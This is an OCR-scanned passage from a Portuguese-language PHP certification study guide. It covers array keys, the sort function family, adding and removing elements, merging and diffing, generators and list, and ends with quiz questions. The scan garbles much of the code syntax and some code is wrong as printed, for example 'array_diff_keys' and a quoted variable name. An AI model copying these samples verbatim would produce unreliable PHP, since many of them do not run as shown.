documentacdo oficial da linguagem para uma abrangéncia maior,
pois o PHP possui um quantidade grande de fungdes relacionadas a
arrays, e 0 nosso intuito aqui nao ¢ ser nenhuma documentagao,
mas sim um guia para facilitar o seu caminho até a certificagao.

5.1 ARRAYS ASSOCIATIVOS X
ENUMERATIVOS

Em PHP, classificamos arrays dependendo de suas chaves, e o
que geralmente aprendemos sdo arrays com chaves numeéricas:

print [
0 => 'PHP',
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1 => 'Certificacao’,
2 => 'Livro'

Esse é o tipico array que podemos utilizar. Porém, o PHP ¢
muito esperto e, com arrays numéricos, nao precisamos informar as
chaves usadas, pois a linguagem ja faz isso para nos:
print [

'"PHP',

'Certificacao’,
'Livro'

O primeiro e segundo exemplo sdo exatamente iguais, a Unica
diferenca é na sua sintaxe. O ponto a que devemos realmente nos
atentar é como o PHP incrementa as chaves dos arrays. O PHP
segue incrementando suas chaves a partir do maior nimero
existente no array, ou seja, se a nossa tltima chave é a 1, no préximo
elemento, o PHP criara a chave 2.
$elementos = [

® => 'PHP',
1 => 'Certificacéo'

$elements[] = 'Livro';

Nesse exemplo, para o elemento Livro , sera atribuida a chave
2, e assim consecutivamente. Um comportamento interessante é
que ndo precisamos necessariamente seguir a ordem crescente das
chaves, podemos em qualquer momento definir uma chave maior
do que a anterior:
$elementos = [

0 => 'PHP',
11 => 'Certificacéo'

$elementos[] = 'PHP';

Isso torna esse cddigo totalmente valido com trés elementos: na
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chave 0, possuimos PHP ; na chave 11, possuimos o valor

Certificacéo ; e na chave 12 (que foi gerada automaticamente),
temos o valor PHP também. O dinamismo que possuimos com
arrays é uma caracteristica muito forte do PHP.

A histéria comega a mudar quando comegamos a falar de arrays
associativos. A grande diferenca entre arrays numéricos e
associativos sdo como usamos as chaves de cada um.

Com os associativos, podemos usar outros tipos de dados para
formar nosso array. Vendo o exemplo a seguir, ficara mais simples
de entender:

$frutas = [
'melao’ => 'amarelo',
'melancia' => 'vermelha',
"kiwi' => 'verde'

Reparou na diferenga? Arrays associativos podem utilizar
strings, e ndo apenas numeros para identificar os seus elementos.
Além disso, com PHP, temos alguns comportamentos que em
outras linguagens nao possuimos, como adicionar um elemento a

um array associativo sem identificar a chave:

$frutas = [
'melao’ => 'amarelo',
'melancia' => 'vermelha',
"kiwi' => 'verde'

1;

$frutas[] = 'laranja ?';

Antes de prosseguir para a explicagdo, vocé acha que esse trecho
apresentado é valido? Tente refletir, interpretar o cddigo e, apds
assumir uma resposta, prossiga.

Para quem ja possui alguma experiéncia com PHP, é facil
responder essa, e é claro que é uma sintaxe valida, porém confusa. O
que vai acontecer aqui é a criagdo de uma chave numérica para o
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elemento para o qual especificamos apenas seu valor, ou seja,
teremos as chaves melao , melancia, kiwi e 0 (zero).

Array
(

[melao] => amarelo
[melancia] => vermelha
[kiwi] => verde

[0] => laranja ?

O que devemos prestar bastante aten¢ao nesse ponto também ¢é
que PHP sempre usard a ultima chave numérica para gerar a
proxima chave caso nenhuma seja fornecida. Veja o exemplo
seguinte para um melhor entendimento:

$frutas = [
'melao’ => 'amarelo',
'melancia' => 'vermelha',
"kiwi' => 'verde'

1
$frutas[10] = 'laranja ?';
$frutas[] = 'abdbora';

O resultado que obtemos apos executar o script anterior é um
array com as chaves meldo , melancia , kiwi , 10 e 11 . A
explicagdo é simples: se existir uma chave numérica, o PHP gerara
automaticamente o numero sequencial daquela chave; caso
contrario, serd atribuida a chave @ (se ndo existir nenhuma chave
numeérica), como aconteceu no primeiro exemplo.

Array

(
[meldo] => amarelo
[melancia] => vermelha
[kiwi] => verde
[10] => laranja ?
[11] => abdbora

Uma udltima consideragdo sobre arrays sdo os tipos aceitos para
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identificar chaves. O PHP possui algumas regras, e uma das
primeiras que gosto de destacar é que nao é possivel utilizar objetos
e arrays como chaves. A segunda que gosto é que floats vao ser
convertidos para inteiros.

$livros = [
[ => '"Zend'
Esse cddigo vai resultar no seguinte WARNING :
PHP Warning: Illegal offset type in /zce/arrays/arrays.php on lin
e 4
PHP Stack trace:
PHP 1. {main}() /zce/arrays/arrays.php:0

wWarning: Illegal offset type in /zce/arrays/arrays.php on line 4

Call Stack:
0.0002 228976 1. {main}() /zce/arrays/arrays.php:0

Assim como o cddigo a seguir também causara o mesmo tipo de
erro. Em PHP, ndo é possivel definir um objeto ou um array como
chave de um elemento.

$objeto = new \StdClass();
$arrayInvalido = [];

$arrayInvalido[$objeto] = 'Meu valor';

Como de costume, recomendo que olhe a documentagao
oficial da linguagem sobre arrays
(http://php.net/manual/pt_BR/language.types.array.php). La
vocé encontrard exemplos de contribuicao de outros usudrios e
informagdes complementares a essas que passei.

Podemos também criar arrays multidimensionais com o PHP de
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uma forma muito simples. Arrays multidimensionais também
seguem as mesmas regras descritas até agora.

$matriz = [
'categorias' => [

'subcategorial' => [
'sub1’',
'sub2',

]!

'subcategoria2' => [
'sub1’,
'sub2',

1;
print_r($matriz);

Criamos um array multidimensional no qual cada categoria
possui um array com suas respectivas subcategorias. Repare que
especiﬁcamos as chaves categorias , subcategorial e
subcategoria2 , porém apenas informamos o valor para os itens
de cada subcategoria, o que faz o PHP gerar os indices

automaticamente:

Array
(
[categorias] => Array
(
[subcategorial] => Array
(

[0] => sub1
[1] => sub2

[subcategoria2] => Array

(
[0] => sub1l
[1] => sub2

Um ponto de aten¢do é que o PHP manipula os indices de um
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array, pois os tipos booleanos sao convertidos para inteiros. Vocé
consegue dizer qual sera a saida do script a seguir?

$array = array(

1 :> Ial,
l|1ll :> Ibl,
1.5 = 'c¢',

true => 'd’',

)i
print_r($array);

Normalmente, a ideia que nos vem na cabega é que o PHP vai
criar 4 posicoes diferentes do array, cada uma contendo as
respectivas chaves 1 (inteiro), 1 (string), 1.5 e true . Mas, na
verdade, o que realmente acontece é que o PHP exibe a chave 1
com o valor d, veja:

Array

(

[1] = d
)

Isso ocorre pois o PHP possui algumas restrigdes nas chaves dos
arrays, convertendo qualquer tipo booleano para inteiro. e
arredondando tipos float/double.

Confira outros tipos de restri¢des nas chaves do array em PHP
na documentacao oficial, em
http://php.net/manual/pt_BR/language.types.array.php.

52 ORGANIZANDO DADOS DENTRO DE
ARRAYS

A partir desse ponto, veremos uma série de fungdes para
organizar nossos dados dentro do array, como: em ordem crescente,
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descendente, e assim por diante. Também veremos algumas fung¢oes
especiais de como descobrir um elemento pela sua chave.

sort

Entdo, vamos para a primeira fun¢ao sort .

$carros = [
'gol',
'fiesta',
'uno',

1
sort($carros);
Obtemos o seguinte resultado:

Array

(
[0] => fiesta
[1] => gol
[2] => uno

Por padrao o estilo de ordenagao usado pela funcdo sort ¢é
SORT_REGULAR (do menor para o maior), o que torna os exemplos
a seguir equivalentes:

sort($carros);
sort($carros, SORT_REGULAR);

A segunda coisa a se notar ¢ a utilizagdo de passagem por
referéncia do nosso array - é isso mesmo, a funcdo sort usa isso
para realizar a ordenacdo. E bom ter isso em mente, pois a fungio
vai retornar verdadeiro em caso de sucesso, ou retornara falso se
nao conseguir ordenar, e ndo um novo array ordenado. Isso é bem
importante para ndo cair em pegadinhas. Dado esse contexto, qual
sera a saida do exemplo adiante?

$ordenacao = sort($carros);

print_r($ordenacao)
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Ao executar esse script, obtemos o seguinte resultado:

O array $carros foi reordenado com sucesso, porém a fun¢io
sort ndo nos retorna um novo array, e sim um booleano
true / false , o famoso 1 ou 0. Por esse motivo, vemos o valor 1, e
ndo o array ordenado.
$numeros = [
129! ,
1121 ,
1 14 1 ,
1

sort($numeros, SORT_NUMERIC);

Usando a flag SORT_NUMERIC , for¢camos o PHP a ordenar o
array numericamente, ou seja, forcamos o PHP a comparar
internamente cada elemento do array como um tipo numérico e
depois ordenar. Veja que, no exemplo anterior, forcamos ntimeros
como strings, utilizando aspas simples, porém a fun¢do usara o
valor numérico de cada elemento para ordenar.
$numeros = [

1 29‘ ,

1 12 1 ,

1 14| ,

1

sort($numeros, SORT_STRING);

Assim como podemos forgar a comparagio entre elementos
como nuimeros, podemos fazer a mesma coisa, porém comparando
elementos como strings. Utilizando a flag SORT_STRING , for¢amos
a comparagdo da fungdo sort para string, ou seja, dessa vez o
nosso array numérico vai ser ordenado comparando os valores
como string.
$strings = [

"PHP',
'abc',
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014’
1;

sort($strings, SORT_LOCALE_STRING);

Ao trabalharmos com aplicagdes internacionalizadas, as vezes
precisamos mudar o contexto da aplicagio para outro pais. Por
exemplo, vamos supor que estamos escrevendo uma aplicagdo que
alguém da Russia vai usar. Para isso, precisamos alterar uma série de
detalhes como textos, moedas e assim por diante.

O PHP nos fornece a fun¢io setlocale que realiza
exatamente esse trabalho, e precisamos manter o nivel de ordenacdo
conforme o local definido pelo usudrio. A flag

SORT_LOCALE_STRING faz exatamente isso: ela ordena o array de
acordo com o contexto da aplica¢ao.

A partir do PHP 5.4, foram adicionadas duas novas flags: a
SORT_NATURAL ea SORT_FLAG_CASE .

$alfabeto = [
Ib',
IZ',
Im',
IC',

17
sort($alfabeto, SORT_NATURAL);

A flag SORT_NATURAL ordena o array alfabeticamente (de A a
Z).

Array

(
[0] => b
[1] => c
[2] => m
[3] => z

E importante lembrar de que, usando a fungdo sort , as chaves
do array sdo destruidas e novas chaves sao associadas aos elementos
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(independentemente se sdo associativas ou numéricas). Em nosso
ultimo exemplo, utilizamos um simples array com os elementos b ,
z, me c,com as respectivas chaves 0, 1, 2 e 3. Vejaque
apos executarmos a fungdo sort , o elemento ¢ (que possuia a
chave 3 ), agora possui a chave 1 , e assim por diante com os
elementos restantes.

Para maiores informagdes sobre as flags que podemos utilizar,
consulte 0 manual oficial do PHP, em
http://php.net/manual/pt_BR/function.sort.php#refsect1-
function.sort-parameters.

rsort

Agora que ja sabemos como a fungdo sort funciona, ficara
muito mais facil entender suas derivagdes (que nao sdo poucas). A

primeira que veremos aqui € a rsort .

A primeira coisa que devemos levar em consideragao ¢ que a
fungdo rsort funciona como a sort com suas flags. Porém,
como ja sabemos, a fungdo sort ordena os elementos do valor
menor para o maior (ou seja, ordem crescente), ja a fun¢do rsort
ordena seus elementos do maior elemento para o menor.

$valores = [
1,

2,
3,

4,

1
rsort($valores);

Veja o resultado que obtemos apds a execugao desse script:

Array
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[0] => 4
[1] => 3
[2] => 2
[3] => 1
)
asort

Com a fungdo asort , temos o mesmo comportamento que
obtemos na fungdo sort , porém com um detalhe muito
importante: com a asort , mantemos a relacdo entre chaves e
valores no array.
$frutas = [

'uva',

'banana’,

'caju',

1
asort($frutas);
O resultado que obtemos apos a execugdo desse script é:

Array

(
[1] => banana
[2] => caju
[0] => uva

Perceba que a relagdo entre as chaves e os elementos se manteve
apesar da reordenagdo, e é exatamente esse o comportamento
esperado para a fun¢do asort .

arsort

A fun¢do arsort possui o comportamento idéntico a func¢ao
rsort . Porém, aqui na fungdo asort mantemos a relagdo entre
as chaves e valor dos elementos do array.

Vamos utilizar como exemplo o array $frutas , usado no
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exemplo anterior para facilitar o entendimento e a comparagdo
entre os diferentes comportamentos das fun¢oes:

arsort($frutas);

O resultado que obtemos apds a execucao do script é:

Array
(

[0] => uva
[2] => caju
[1] => banana

Repare como as chaves do array sdo mantidas. Em um exemplo
normal com a fun¢do rsort , as chaves de nosso array seriam em
ordem crescente comecando do 0 , mas como a fungdo arsort
mantém a relagdo entre as chaves/valores, obtemos a ordem 0, 2
e 1.

ksort

Uma outra fun¢do comum que usamos para ordenagdo de arrays
é a funcdo ksort , que ordena nosso array pelas suas chaves, e ndo
pelos seus valores. Esse tipo de comportamento é muito interessante
quando estamos utilizando arrays associativos.

$blocos [
'A'" => 'CASA 81',
'C' => 'CASA 82',
'B' => 'CASA 83',

ksort($blocos);
Veja o resultado que obtemos apds a execugao desse script:

Array

(
[A] => CASA 81
[B] => CASA 83
[C] => CASA 82
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Repare que as chaves foram mantidas e a ordenacéo foi realizada
pela chave.

krsort

Creio que, até aqui, vocé ja tenha um breve palpite de qual é o
comportamento esperado da fun¢ao krsort . Se vocé pensou que
ela tem o mesmo comportamento da fungdo ksort , s que ordena
do maior elemento para o menor, vocé estd totalmente correto. E
exatamente isso o que essa fungio faz.

Mais uma vez, vamos pegar o exemplo anterior para facilitar o
entendimento e a comparagio entre fungoes:

krsort($blocos);
O resultado que obtemos apos a execugdo do script é:

Array

(
[C] => CASA 82
[B] => CASA 83
[A] => CASA 81

Novamente, devemos prestar aten¢do ao passarmos o array para
a fungdo ksort , pois ela recebe o array como referéncia e nos
retorna verdadeiro ao ordenar o array com sucesso; ou nos retorna
falso, caso falhe.

usort

Pelo mar de dedugdes que o PHP nos oferece, o U da fungao
usort nos da uma pequena dica do que nos espera. Sim, usando
usort podemos definir uma fun¢do de ordenagdo e usa-la para

ordenar o array (U de usuario).

usort($pastas, function($a, $b) {
return ($a > $b) ? -1 : 1;
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1)

Repare que essa fun¢do recebe o array como referéncia, e
retorna verdadeiro ou falso.

natsort

Utilizamos natsort para ordenar nosso array em uma forma
natural em que os humanos estido acostumados a ver, ou seja, em
ordem alfabética. Se vocé esta se perguntando até agora por que
temos natsort se as fun¢des da familia sort ja ordenam em uma
forma "alfabética”, vocé esta errado. Existe uma diferenca entre os
algoritmos aplicados em ambas fun¢des. Devemos ressaltar que as
funcoes da familia sort sdo ordenadas do menor para o maior ou
do maior para o menor, jéa natsort ¢ ordenada de forma natural

para os humanos.

Vamos utilizar uma comparagao simples entre a fungdo sort e

a natsort . Veja no nosso exemplo as imagens a serem ordenadas:

$imagens = [
'imgl2.png',
'imgl0.png',
'img2.png',
'imgl.png'
1

sort($imagens);
print_r($imagens);
E o resultado que obtemos é o seguinte:

Array

(
[6] => imgl.png
[1] => img10.png
[2] => img12.png
[3] => img2.png

Perceba como a ordem néo esta em uma forma natural para nos,
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seres humanos. Ao ordenarmos as imagens, esperariamos algo mais
parecido com: imgl.png, img2.png, img1@.png e imgl2.png .
Para obter esse resultado, utilizamos a fun¢do natsort .

natsort($imagens);
print_r($imagens);
E o resultado que obtemos dessa vez é o esperado:

Array

(
[3] => imgl.png
[2] => img2.png
[1] => imgl0.png
[0@] => imgl2.png

Esse exemplo usado foi extraido da documentagdo oficial do
PHP, em http://php.net/manual/pt_BR/function.natsort.php.
Dé uma olhada nas contribuicbes dos usudrios para se
aprofundar na diferenca entre essas fungoes.

Sao muitas fung¢des, e agora?

Apos todas essas fungdes, creio que vocé esteja com a cabeca
repleta de novas funcionalidades e empolgado com as novas coisas
aprendidas. Mas, antes de partirmos para o proximo tépico sobre
arrays, gostaria de deixar aqui uma dica que me ajudou bastante no
decorrer dos meus estudos.

Perceba que as fun¢des que mantém as relagdes entre chaves
sempre come¢am com A , como por exemplo, asort e arsort .
Tente associar que, ao utilizar uma das fung¢des que comegam com a
letra A, as chaves sempre serao mantidas.
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E assim como a letra A , temos a letra R , como rsort ,

arsort , krsort , que sdo relacionadas com a ordem contrdria.

Ou seja, a fungdo sem o R vai ordenar do menor para o maior, e a
fungio que contém o R ordenara do maior para o menor.

Letra Opgio

A Associative - Associativo, geralmente usada para manter as chaves do array
K Key - Utilizada para ordenar o array pela sua chave, e nio pelo valor

U User - E possivel definir uma fungio para ordenar o array

Reverse - Aletra R estd associada a uma fungio que ja existe, por exemplo, a
R funcio KSOrt , queordena o array em forma crescente, e a fungio
Krsort , que ordena o array pela chave, mas em ordem decrescente (ou seja,
o reverso da fungio ksort )

5.3 ADICIONADO E REMOVENDO
ELEMENTOS

Em PHP, temos algumas fungdes que nos permitem adicionar e
remover elementos. A primeira delas que vamos ver é a fungio
array_push , que nos permite adicionar um ou mais elementos ao
final do nosso array.

$eletronicos = [];
array_push($eletronicos, 'videogame', 'tv', 'dvd');

Ap6s a execugdo do codigo, temos um array com trés elementos.
Uma caracteristica importante dessa funcdo é que ela aceita
qualquer tipo de dado para ser adicionado ao array:
$eletronicos = [

'radio’

1;

array_push($eletronicos, ['videogame', 'tv', 'dvd'], [], 123, 456,
new \StdClass());
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O resultado que obtemos ap6s a execugdo desse script é:

Array
(

[0] => radio
[1] => Array

[@] => videogame
[1] => tv
[2] => dvd

[2] => Array

[3] => 123
[4] => 456
[5] => stdClass Object

Mais uma vez, precisamos tomar cuidado com a utilizagdo de
fun¢des que usam passagem como referéncia. Observe que a fungao
array_push recebe o array como referéncia, e o valor de retorno
da fun¢do é o numero total do array apds a adicdo dos novos

elementos.

A fun¢do array_push adiciona um ou mais elementos ao final
do array, mas e se quisermos adicionar 1 ou mais elementos no seu
comeco? Para isso, usamos a fun¢ao array_unshift .
$casa = [

'janela'

1
array_unshift($casa, ['comodos'], 'porta');

O resultado que obtemos ap6s a execugdo do script é:
Array

(
[0] => Array
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[@] => comodos

[1] => porta
[2] => janela

Agora que ja sabemos adicionar elementos, precisamos saber
como remové-los. Para a remocdo de elementos em arrays,
podemos utilizar a func¢do array_pop e array_shift .

Como na fun¢do array_push , na qual adicionamos o elemento
ao seu final, utilizamos a fungdo array_pop para remover o dltimo
elemento do array. Veja o exemplo a seguir onde consideramos o
array utilizado no exemplo anterior. Vamos remover o elemento

janela , que é o ultimo.
array_pop($casa);
Ao executarmos o script, obtemos o seguinte resultado:
Array

(
[0] => Array

(

[@] => comodos
[1] => porta

Agora, para remover um elemento no comego do array, usamos
a fun¢do array_shift . Veja que agora, no nosso array $casa ,
temos apenas dois elementos restantes: um array e uma string.
Usaremos a fun¢do array_shift para remover o primeiro
elemento para ficarmos apenas com o elemento porta .

array_shift($casa);
print_r($casa);

Ao executarmos esse script, obtemos o seguinte resultado:
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Array

(
[@] => porta

array_walk

O PHP nos fornece uma fungio muito interessante para aplicar
um callback em cada elemento do array:

$versoes = [
"PHP 5.2',
"PHP 5.3',
'"PHP 5.4'

1;

array_walk($versoes, function ($item) {
printf('%s', $item);
i
Esse nosso exemplo apenas exibe as versdoes do PHP no nosso
array $versoes .
PHP 5.2

PHP 5.3
PHP 5.4

Além disso, podemos obter as chaves do array também
passando um segundo pardmetro para o nosso callback.

$versoes = [
"PHP 5.2,
"PHP 5.3,
'"PHP 5.4'

1;
array_walk($versoes, function ($item, $chave) {
printf('%d => %s', $chave, $item);
i
Agora, para cada elemento percorrido, além de exibirmos seu
valor, exibimos também a chave correspondente.

0 => PHP 5.2
1 => PHP 5.3
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2 => PHP 5.4

Caso seja necessario passar qualquer tipo de dado extra para o
callback, basta informa-lo como terceiro pardmetro da funcao
array_walk , e do callback também.

$versoes = [
"PHP 5.2,
'"PHP 5.3,
"PHP 5.4,

1;

$dataDeLancamento = [
'01/02/1990",
'02/05/2000",
'03/06/2020",

1;

array_walk($versoes, function ($item, $chave, $dadosExtras) {
printf('%d => %s data de lancamento : %s', $chave, $item, $dad

osExtras[$chave]);

}, $dataDelLancamento);

O que fizemos foi simplesmente passar um array
$dataDeLancamento com as mesmas chaves do array $versoes
para que fosse possivel exibir qual é a data de langamento de cada
versao do PHP de dentro da fungéo de callback.

0 => PHP 5.2 data de lancamento : 01/02/1990

1 => PHP 5.3 data de lancamento : 02/05/2000
2 => PHP 5.4 data de lancamento : 03/06/2020

Além de utilizarmos os parametros da propria funcao
array_walk , podemos também usar o maximo que as closures nos
fornecem.

$total = 0O;

$versoes = [

1

array_walk($versoes, function ($item, $chave) use (&$total) {

$total++;
1)
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print $total;

Nesse tipo de uso da fun¢do array_walk , em vez de usarmos o
terceiro pardmetro para injetar dados extras na fungao de callback,
utilizamos o préprio callback para isso, gerando o total de vezes que
o callback foi executado:

5.4 UNINDO E COMPARANDO ARRAYS

O PHP nos fornece a fungdo array_merge que nos permite
unir um ou mais arrays. Essa fun¢do nos retorna um novo array
com os elementos unidos. Diferentemente das fung¢des de ordenacio
que vimos até agora, array_merge funciona passando os

parametros por valor, e nao por referéncia:

$animais = [];

$uniao = array_merge($animais, ['gato'], ['cachorro']);
print_r($uniao);

A unido dos dois arrays nos retornard um novo array com dois

elementos:
Array
(

[@] => gato

[1] => cachorro

Vamos as principais regras:

1. Elementos com o mesmo valor nao sio sobrescritos, sio
apenas adicionados no final do array:

$animais = [];

$uniao = array_merge($animais, ['gato'], ['cachorro'], ['ca
chorro']);
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print_r($uniao);
Resultado:

Array

(
[0] => gato
[1] => cachorro
[2] => cachorro

)

2. Elementos com a mesma chave associativa (chaves do tipo
string sdo sobrescritas, ja numéricas nao) sdo sobrescritos e o
valor do ultimo elemento é o que prevalecera:

$animais = [];

$uniao = array_merge($animais, ['gato'], ['c' => 'cachorro
grande'], ['c' => 'cachorro']);

print_r($uniao);
Resultado:

Array
(
[0] => gato
[c] => cachorro

)
3. Chaves de arrays numéricos serao reordenadas:

$mve = [
0 => 'laravel',
1 => 'silex',
2 => 'symfony'
1;

$orm = [
0 => 'doctrine',
1 => 'eloquent'

1;

$reordenarChames = array_merge($mvc, $doctrine);
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Veja que, ao unir os arrays, as chaves sao reordenadas:

Array
(

[0] => laravel
[1] => silex

[2] => symfony
[3] => doctrine
[4] => eloquent

Isso ocorre independentemente se tivermos chaves associativas
misturadas no array. Veja no nosso proximo exemplo que as chaves
numéricas sao reordenadas, mas as associativas prevalecem:

$mvec = [
'1' => 'laravel',
1 => 'silex',
2 => 'symfony'

1;

$orm = [
'd' => 'doctrine',
1 => 'eloquent'

1;

Repare no resultado que obtemos, e nas chaves numéricas sendo
reordenadas e as associativas sendo mantidas:

Array
(

[1] => laravel
[0] => silex

[1] => symfony
[d] => doctrine
[2] => eloquent

Além de unir arrays, podemos compara-los. Para isso, o PHP
nos fornece uma série de fungdes para facilitar esse tipo de tarefa. A
primeira fungdo que vamos ver aqui é a array_diff . Com ela,
podemos calcular qual a diferencga do array A para o array B, C,

D e assim por diante.

5.4 UNINDO E COMPARANDO ARRAYS 139



O retorno dessa fungdo é bem simples: ela retornard todos os
elementos que estdo no array A , mas nao estdo presentes nos

outros.

$a = [
'pedra’',
'papel’,

1;

$b = [
'tesoura’',

1;
$diferenca = array_diff($a, $b);
print_r($diferenca);

O resultado é:

Array

(
[0] => pedra
[1] => papel

A fungao array_diff usa como comparagio apenas os valores
de um array, ndo levando em consideragdo suas chaves. Para isso,
temos a fun¢do array_diff_assoc , que vai realizar a comparagdo
incluindo as chaves de um array:
$a = [

'p' => 'pedra',

'papel’,
1

$b = [
"tesoura',
'pedra',
1
$diferenca = array_diff_assoc($a, $b);

print $diferenca;

O resultado é:
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Array

(
[p] => pedra
[0] => papel

Como podemos ver, possuimos o valor pedra em ambos os
arrays, mas as chaves sdo diferentes, o que faz a funcao
array_diff_assoc ndo reconhecer os dois como iguais. Isso
porque, no array $a , a chave do valor pedra € p,enoarray $b
ovaloré 1:

$a
$b

['p' => 'pedra'];
[1 => 'pedra'];

Lembre-se de que sio usados a chave e o valor para comparar,

entdo ambos devem ser iguais.

E ja que estamos falando sobre chaves, podemos também
diferenciar arrays apenas pelas suas chaves, com a funcdo
array_diff_keys :
$a = ['a' => 'arroz', 'f' => 'feijao'];
$b = ['c' => 'camardo', 'z' => 'arroz'];
$diferenca = array_diff_keys($a, $b);
print_r($diferenca);

O resultado é:

Array
(

[a] => arroz
[f] => feijéo

Como podemos ver, possuimos um elemento com o mesmo
valor arroz , porém suas chaves sao diferentes. Caso a comparagao
por chave e valor (ou chave e valor) ndo satisfaga sua necessidade, o
PHP fornece uma fungdo para que seja possivel informar uma
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funcao pela qual queremos diferenciar os arrays, a
array_diff_uassoc . Ela opera exatamente como a funcao
array_diff_assoc , porém podemos definir a nossa fun¢io para

realizar a comparagao das chaves.

'a' => 'carro',

1

$b = [
'a' => 'carro',
3!
5l

1;

$diferenca = array_diff_uassoc($a, $b, function($a, $b) {
return 0;

1

print_r($diferenca);

Veja que interessante: podemos modificar o comportamento ao
checar as chaves do array. No nosso caso, apesar de possuirmos dois
elementos iguais, inclusive suas chaves ( a => carro ), a fungdo

nos retorna que nao existem elementos do array $a no array $b :

Array

(
[0] => 1
[1] => 2

[a] => carro

Tente alterar a fungdo para retornar outros valores, retire os
parametros e veja o que acontece. O que serd que acontece se
retirarmos a func¢ao passada como terceiro parametro?

E é claro que temos a mesma fungdo, porém, para comparar
pelas chaves do array, podemos definir uma fun¢do, a
array_diff_ukey .
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|b| = 1,
'a' => 'carro',
ICI = 3,

1

$b = [

'c' => 'carro',
'a' => 'nada',
5!

1

$diferenca = array_diff_ukey($a, $b, function($a_chave, $b_chave)

{

if ($a_chave === $b_chave) {
return 0;

} else if ($a_chave > $b_chave) {
return 1;

} else {

return -1;
}
1

print_r($diferenca);

Com a fungdo passada como terceiro pardmetros, obtemos o
mesmo comportamento da fungdo array diff_key (vocé se
lembra do que ela faz?), e retornamos as chaves que existem no
array $a , mas nao estdo nos demais arrays (no nosso caso, o array
$b ).

Array

(
[b] => 1
)

5.5 VERIFICANDO O VALOR DE UM ARRAY

Normalmente, estamos acostumados a usar as fungdes empty
ou isset para verificar se existem elementos dentro de um array
ou se ele esta vazio.

$vazio = [];
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if (empty($vazio)) {
print 'Estd vazio';

Podemos também atingir o mesmo resultado com a funcao

isset .
$vazio = [];

if (isset($vazio)) {
print 'Esté vazio';

Ao executar esses exemplos, ambos vdo exibir a mensagem: Esta
vazio. Porém, no cendrio que mostramos no exemplo anterior, sé
conseguimos verificar se um valor dentro de uma determinada
chave existe. Mas e se precisarmos verificar se uma determinada
chave do array existe em vez de seu valor? Usar as fungdes

isset/empty torna-se impossivel, entdo utilizamos a funcéo
array_key_exists

$computador = [];
if (array_key_exists('componentes', '$computador)) {

print 'A chave "componentes" exite !';

Isso nos da a oportunidade de checar se uma chave existe,
mesmo ela ndo possuindo nenhum valor.

$computador = [
'componentes' => null

1;

if (array_key_exists('componentes', '$computador)) {
print 'A chave "componentes" exite !';

5.6 GERADORES

Na versdo 5.5 do PHP, uma nova funcionalidade foi introduzida
na linguagem. Em outras linguagens (Python, por exemplo), o
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conceito de geradores ja era bem conhecido e usado, e agora temos a
oportunidade de utilizar geradores em PHP por meio da palavra
reservada yield .

function meuGerador()

{
for ($i = 0; $i < 10; $i++) {
yield $i;
3
H
Como podemos utilizar esse gerador? Muito simples: podemos
iterar ~ sobre ele, gracas a  classe Generator

(http://www.php.net/manual/en/class.generator.php). Veja nosso
exemplo:
foreach (meuGerador() as $numero) {

print $numero;

}
E o resultado que obtemos é:
01234567809

Reparou que ndo usamos return ? Pois é, parece um pouco
estranho, mas ndo ¢ tao estranho assim. Em vez de retornarmos o
valor apenas quando temos todos os valores, com yield nds
produzimos o valor conforme a demanda. E em um contexto real,
onde poderiamos usar isso? Ler o conteiido de um arquivo seria um
bom caso:

function linhasDoArquivo($arquivo) {
$arquivo = fopen($arquivo, 'r');

while (($linhaDoArquivo = fgets($arquivo)) !== false) {

yield $linhaDoArquivo;
}

fclose($arquivo);

Como no nosso exemplo anterior, basta iterar sobre as
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linhasDoArquivo para obter o contetdo:

foreach (linhasDoArquivo('texto.txt') as $linhaDoArquivo) {

}

A documentagio oficial sobre geradores pode ser encontrada
em
http://php.net/manual/pt_BR/language.generators.syntax.php.

5.7 LIST

Ao manipular arrays em PHP, é muito comum iterarmos
usando um lago de repeticao for :
$chocolate = [

'branco’,

'500g"',

'R$ 5,50
1

for ($1 = 0; $1 < count($chocolate); $it++) {
print $chocolate[i];

}

Com isso, obtemos os valores de cada posicao do nosso array:
branco
5009

R$ 5,50

Porém, essa ndo é uma forma muito facil de entender o que se
tem dentro de cada posicdo, ndo é mesmo? Em PHP, possuimos
uma fungdo que nos ajuda a deixar o codigo mais legivel:

list($tipo, $tamanho, $preco) = $chocolate;

Utilizando 1ist , conseguimos enumerar os elementos do
array em uma varidvel, tornando possivel criar nomes que
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significam algo para nés enquanto estamos escrevendo o cédigo:
list($tipo, $tamanho, $preco) = $chocolate;
print $tipo . $tamanho . $preco;

Com esse codigo, obteremos o mesmo resultado ao utilizar o
lago for do exemplo anterior.

branco
5009
R$ 5,50

Como em nosso exemplo s possuimos poucos elementos,
talvez nao fique muito claro o quanto é interessante esse tipo de uso.
Vamos entdo a um exemplo um pouco mais complicado com um

array um pouco mais complexo:

$computadores = [
['2GB', '80GB', 'duo core'],
['6GB', '120GB', 'core i5'],
['4GB', '500GB', 'core i7'],
['4GB', '500GB', 'core i7'],
1;

O nosso array possui 4 elementos, que também sdo arrays:

Array
(
[0] => Array
(
[0] => 2GB
[1] => 80GB
[2] => duo core
)
[1] => Array
(
[0] => 6GB
[1] => 120GB
[2] => core i5
)
[2] => Array
(
[0] => 4GB
[1] => 500GB
[2] => core 17
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)
[3] => A

(

rray

[0] => 4GB
[1] => 500GB
[2] => core 17

Vamos ver como fariamos de uma maneira tradicional para

exibir os elementos:

for ($i = 0;
for ($c
prin

$i < count($computadores); $i++) {
= 0; $c < count($computadores[$i]); $c++) {
t $computadores[$i][$c];

Basicamente, temos uma estrutura de linha e coluna no nosso

array $computadores , o que nos faz utilizar dois lagos de

repeticdo, um para a linha e outro para as colunas, e assim obtemos

o resultado desejado:

2GB 80GB
6GB 120GB
4GB 500GB
4GB 500GB

duo core
core i5
core i7
core i7

Com dois lagos de repeti¢ao, o cddigo fica um pouco mais dificil

de entender. Vamos entdo utilizar o 1list para nos ajudar nesse

Caso.

for ($1 = 0;
list($me

print $m

Dessa fo

$i < count($computadores); $i++) {
moria, $hd, $processador) = $computadores[$i];

emoria . $hd . $processador;

rma, obtemos o mesmo resultado, porém fica nitida a

diferenga entre os dois. Usar o 1list ¢ de longe uma maneira

muito mais elegante e de facil entendimento:

2GB 80GB
6GB 120GB

duo core
core ib5
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4GB 500GB core i7
4GB 500GB core i7

5.8 TESTE SEU CONHECIMENTO

1) Qual é a saida gerada pelo codigo a seguir?
$array = [

l|1|| => IIA"’ 1 = IIBII, "CIl, 2 = "DII
1

print count($array);

2) O que vocé usaria para criar um array a partir de outros
trés? Escolha uma.

a) shuffle()
b) array_intersect()
c) array_merge()
d) list()
e) implode()
) array_combine()
g) array_splice()
3) Qual é a saida gerada pelo codigo a seguir?

